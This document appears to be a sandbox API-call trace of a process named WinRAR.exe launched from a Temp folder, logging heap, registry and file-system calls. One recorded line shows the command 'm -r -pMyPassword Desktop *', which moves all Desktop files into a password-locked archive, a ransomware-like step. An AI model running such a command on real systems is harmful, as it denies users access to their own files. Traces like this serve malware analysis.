!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0xe414ff450, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x100) returned 0x1ec0a5ae450 [0057.085] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x7ff6f76b2ff0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x83) returned 0x1ec0a5a0eb0 [0057.085] RtlInitializeSListHead (in: ListHead=0x7ff6f76b2e00 | out: ListHead=0x7ff6f76b2e00) [0057.085] GetLastError () returned 0x0 [0057.085] SetLastError (dwErrCode=0x0) [0057.085] GetEnvironmentStringsW () returned 0x1ec0a59cd10* [0057.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\FD1HVy\\Desktop", cchWideChar=1382, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1382 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x566) returned 0x1ec0a5b0dc0 [0057.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\FD1HVy\\Desktop", cchWideChar=1382, lpMultiByteStr=0x1ec0a5b0dc0, cbMultiByte=1382, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\FD1HVy\\Desktop", lpUsedDefaultChar=0x0) returned 1382 [0057.085] FreeEnvironmentStringsW (penv=0x1ec0a59cd10) returned 1 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x128) returned 0x1ec0a59e110 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x1f) returned 0x1ec0a5a1410 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x28) returned 0x1ec0a5a1440 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x31) returned 0x1ec0a5a1b50 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x3c) returned 0x1ec0a5aa440 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x31) returned 0x1ec0a594940 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x14) returned 0x1ec0a5a71b0 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x24) returned 0x1ec0a5a1590 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0xd) returned 0x1ec0a5a7250 [0057.085] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x17) returned 0x1ec0a5a70d0 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x2b) returned 0x1ec0a592f00 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x15) returned 0x1ec0a5a73b0 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x17) returned 0x1ec0a5a7290 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x22) returned 0x1ec0a5a1470 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0xe) returned 0x1ec0a5a6fb0 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0xc1) returned 0x1ec0a595670 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x3e) returned 0x1ec0a5a9f40 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x1d) returned 0x1ec0a5a1500 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x48) returned 0x1ec0a5aa300 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x12) returned 0x1ec0a5a7050 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x18) returned 0x1ec0a5a6e30 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x1b) returned 0x1ec0a5a1620 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x1e) returned 0x1ec0a5a14a0 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x29) returned 0x1ec0a59d260 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x1e) returned 0x1ec0a5a15f0 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0xc) returned 0x1ec0a5a7370 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x6b) returned 0x1ec0a59d920 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x17) returned 0x1ec0a5a73d0 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0xf) returned 0x1ec0a5a6fd0 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x16) returned 0x1ec0a5a7150 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x28) returned 0x1ec0a5a14d0 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x27) returned 0x1ec0a5a1530 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x12) returned 0x1ec0a5a6f90 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x21) returned 0x1ec0a5a1560 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x10) returned 0x1ec0a5a7430 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x1c) returned 0x1ec0a5a1680 [0057.086] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x12) returned 0x1ec0a5a6d70 [0057.086] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5b0dc0 | out: hHeap=0x1ec0a590000) returned 1 [0057.086] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ff92fdd0000 [0057.087] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="InitializeConditionVariable") returned 0x7ff931fb35c0 [0057.087] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SleepConditionVariableCS") returned 0x7ff92f1be960 [0057.087] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="WakeAllConditionVariable") returned 0x7ff931fa6090 [0057.087] RtlInitializeConditionVariable () returned 0x7ff931fa6090 [0057.087] QueryPerformanceFrequency (in: lpFrequency=0xe414ffaa0 | out: lpFrequency=0xe414ffaa0*=100000000) returned 1 [0057.087] QueryPerformanceCounter (in: lpPerformanceCount=0xe414ffaa8 | out: lpPerformanceCount=0xe414ffaa8*=14841558905) returned 1 [0057.087] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x8, Size=0x1000) returned 0x1ec0a5b0dc0 [0057.088] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6f75c1a80) returned 0x0 [0057.089] GetCurrentProcess () returned 0xffffffffffffffff [0057.089] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414ff990, lpSystemAffinityMask=0xe414ff998 | out: lpProcessAffinityMask=0xe414ff990, lpSystemAffinityMask=0xe414ff998) returned 1 [0057.090] GetCurrentProcess () returned 0xffffffffffffffff [0057.090] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414ff9a0, lpSystemAffinityMask=0xe414ff9a8 | out: lpProcessAffinityMask=0xe414ff9a0, lpSystemAffinityMask=0xe414ff9a8) returned 1 [0057.091] GetCurrentProcess () returned 0xffffffffffffffff [0057.091] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414ff9d0, lpSystemAffinityMask=0xe414ff9d8 | out: lpProcessAffinityMask=0xe414ff9d0, lpSystemAffinityMask=0xe414ff9d8) returned 1 [0057.092] GetCurrentProcess () returned 0xffffffffffffffff [0057.092] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414ff9d0, lpSystemAffinityMask=0xe414ff9d8 | out: lpProcessAffinityMask=0xe414ff9d0, lpSystemAffinityMask=0xe414ff9d8) returned 1 [0057.093] GetSystemMetrics (nIndex=7) returned 3 [0057.144] GetSystemMetrics (nIndex=8) returned 3 [0057.148] GetCPInfo (in: CodePage=0x0, lpCPInfo=0xe414ffa70 | out: lpCPInfo=0xe414ffa70) returned 1 [0057.152] GetDC (hWnd=0x0) returned 0x10105d6 [0057.152] GetDeviceCaps (hdc=0x10105d6, index=90) returned 96 [0057.152] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0057.152] GetDC (hWnd=0x0) returned 0x60100ce [0057.152] GetDeviceCaps (hdc=0x60100ce, index=88) returned 96 [0057.152] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0057.153] GetStartupInfoW (in: lpStartupInfo=0xe414ffa50 | out: lpStartupInfo=0xe414ffa50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0057.153] GetModuleHandleW (lpModuleName="kernel32") returned 0x7ff92fdd0000 [0057.154] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetDllDirectoryW") returned 0x7ff92fdee3c0 [0057.154] SetDllDirectoryW (lpPathName="") returned 1 [0057.154] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetDefaultDllDirectories") returned 0x7ff92f228b70 [0057.154] SetErrorMode (uMode=0x8005) returned 0x0 [0057.154] GetCurrentProcess () returned 0xffffffffffffffff [0057.154] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc910, lpSystemAffinityMask=0xe414fc918 | out: lpProcessAffinityMask=0xe414fc910, lpSystemAffinityMask=0xe414fc918) returned 1 [0057.154] GetCurrentThreadId () returned 0x4a4 [0057.154] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x190 [0057.154] RegisterClipboardFormatW (lpszFormat="WMUser_DisplayError") returned 0xc181 [0057.155] GetModuleHandleExW (in: dwFlags=0x6, lpModuleName=0x7ff6f756cf8c, phModule=0xe414fbbc0 | out: phModule=0xe414fbbc0*=0x7ff6f74d0000) returned 1 [0057.155] GetModuleFileNameW (in: hModule=0x7ff6f74d0000, lpFilename=0x7ff6f7659740, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0057.155] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0057.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0057.156] SHGetMalloc (in: ppMalloc=0xe414fbb40 | out: ppMalloc=0xe414fbb40*=0x7ff92fcdf3f0) returned 0x0 [0057.157] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xe414fbb88 | out: ppidl=0xe414fbb88) returned 0x0 [0057.628] SHGetPathFromIDListW (in: pidl=0x1ec0a5a1e00, pszPath=0x7ff6f7659740 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0057.631] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0xffffffff [0057.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0xffffffff [0057.631] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1ec0a5a1e00) [0057.631] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0xffffffff [0057.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0xffffffff [0057.631] GetLastError () returned 0x2 [0057.631] SetLastError (dwErrCode=0x2) [0057.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fbd50 | out: phkResult=0xe414fbd50*=0x0) returned 0x2 [0057.631] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fc970 | out: phkResult=0xe414fc970*=0x0) returned 0x2 [0057.632] SHGetMalloc (in: ppMalloc=0xe414fc910 | out: ppMalloc=0xe414fc910*=0x7ff92fcdf3f0) returned 0x0 [0057.632] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xe414fc958 | out: ppidl=0xe414fc958) returned 0x0 [0057.632] SHGetPathFromIDListW (in: pidl=0x1ec0a5a1e00, pszPath=0xe414fda90 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0057.633] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0xffffffff [0057.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0xffffffff [0057.634] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar"), lpSecurityAttributes=0x0) returned 1 [0057.634] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1ec0a5a1e00) [0057.634] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe414fb970, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0057.634] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f97d8 | out: phkResult=0xe414f97d8*=0x0) returned 0x2 [0057.634] GetVersionExW (in: lpVersionInformation=0xe414fb850*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x414fb810, szCSDVersion="\x0e") | out: lpVersionInformation=0xe414fb850*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0057.634] LoadLibraryExW (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\rarlng.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0057.634] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f9908 | out: phkResult=0xe414f9908*=0x0) returned 0x2 [0057.634] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe414f8910, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0057.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0057.635] GetLastError () returned 0x2 [0057.635] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0057.635] GetLastError () returned 0x2 [0057.635] FindResourceW (hModule=0x7ff6f74d0000, lpName="RTL", lpType=0x5) returned 0x0 [0057.635] LoadIconW (hInstance=0x7ff6f74d0000, lpIconName=0x65) returned 0x1024d [0057.637] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0057.637] RegisterClassW (lpWndClass=0xe414fca10) returned 0xc183 [0057.637] RegisterClassW (lpWndClass=0xe414fca10) returned 0xc184 [0057.638] RegisterClassW (lpWndClass=0xe414fca10) returned 0xc185 [0057.638] RegisterClassW (lpWndClass=0xe414fca10) returned 0xc186 [0057.638] RegisterClassW (lpWndClass=0xe414fca10) returned 0xc187 [0057.638] GetSystemDirectoryW (in: lpBuffer=0xe414fb930, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0057.638] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\riched20.dll") returned 0x7ff912450000 [0058.012] OleInitialize (pvReserved=0x0) returned 0x0 [0058.014] InitCommonControlsEx (picce=0xe414fc9a0) returned 1 [0058.015] GdiplusStartup (in: token=0xe414fc9a8, input=0xe414fc970, output=0x0 | out: token=0xe414fc9a8, output=0x0) returned 0x0 [0058.017] SHGetMalloc (in: ppMalloc=0x7ff6f767aa30 | out: ppMalloc=0x7ff6f767aa30*=0x7ff92fcdf3f0) returned 0x0 [0058.017] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xa468) returned 0x1ec0a5cb430 [0058.018] GetCurrentProcess () returned 0xffffffffffffffff [0058.018] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc850, lpSystemAffinityMask=0xe414fc858 | out: lpProcessAffinityMask=0xe414fc850, lpSystemAffinityMask=0xe414fc858) returned 1 [0058.018] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xc0) returned 0x1ec0a5ba070 [0058.018] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2058) returned 0x1ec0a5d58a0 [0058.019] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xd110) returned 0x1ec0a5d7900 [0058.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x4000) returned 0x1ec0a5e4a20 [0058.020] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x4060) returned 0x1ec0a5e8a30 [0058.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xa758) returned 0x1ec0a5ecaa0 [0058.021] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xa0f0) returned 0x1ec0a5f7200 [0058.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x5080) returned 0x1ec0a601300 [0058.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2c20) returned 0x1ec0a606390 [0058.022] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20a0) returned 0x1ec0a608fc0 [0058.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x4000) returned 0x1ec0a60b070 [0058.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8560) returned 0x1ec0a60f080 [0058.023] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x4000) returned 0x1ec0a6175f0 [0058.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x4ec0) returned 0x1ec0a61b600 [0058.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x28) returned 0x1ec0a5c8e70 [0058.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2190) returned 0x1ec0a6204d0 [0058.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x4000) returned 0x1ec0a622670 [0058.024] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x6a258) returned 0x1ec0bf50080 [0058.026] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x4000) returned 0x1ec0a626680 [0058.026] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20a0) returned 0x1ec0a62a690 [0058.027] GetLastError () returned 0x0 [0058.027] SetLastError (dwErrCode=0x0) [0058.027] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fbd10 | out: phkResult=0xe414fbd10*=0x0) returned 0x2 [0058.027] GetCurrentProcess () returned 0xffffffffffffffff [0058.027] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8 | out: lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8) returned 1 [0058.027] GetCurrentProcess () returned 0xffffffffffffffff [0058.027] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908 | out: lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908) returned 1 [0058.027] GetLastError () returned 0x0 [0058.027] SetLastError (dwErrCode=0x0) [0058.027] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fc4b0 | out: phkResult=0xe414fc4b0*=0x0) returned 0x2 [0058.027] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x3f0, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="Default Profile") returned 0xf [0058.028] GetLastError () returned 0x0 [0058.028] SetLastError (dwErrCode=0x0) [0058.028] GetLastError () returned 0x0 [0058.028] SetLastError (dwErrCode=0x0) [0058.028] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x0) returned 0x2 [0058.028] GetLastError () returned 0x0 [0058.028] SetLastError (dwErrCode=0x0) [0058.028] GetLastError () returned 0x0 [0058.028] SetLastError (dwErrCode=0x0) [0058.028] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x1) returned 0x0 [0058.028] RegSetValueExW (in: hKey=0x1f0, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="Default Profile", cbData=0x20 | out: lpData="Default Profile") returned 0x0 [0058.029] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.029] GetLastError () returned 0x0 [0058.029] SetLastError (dwErrCode=0x0) [0058.029] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.029] RegSetValueExW (in: hKey=0x1f0, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.029] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.029] GetLastError () returned 0x0 [0058.029] SetLastError (dwErrCode=0x0) [0058.029] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x1f0) returned 0x0 [0058.029] RegDeleteValueW (hKey=0x1f0, lpValueName="ArcName") returned 0x2 [0058.029] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.029] GetLastError () returned 0x0 [0058.029] SetLastError (dwErrCode=0x0) [0058.029] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x1f0) returned 0x0 [0058.029] RegDeleteValueW (hKey=0x1f0, lpValueName="FileNames") returned 0x2 [0058.029] 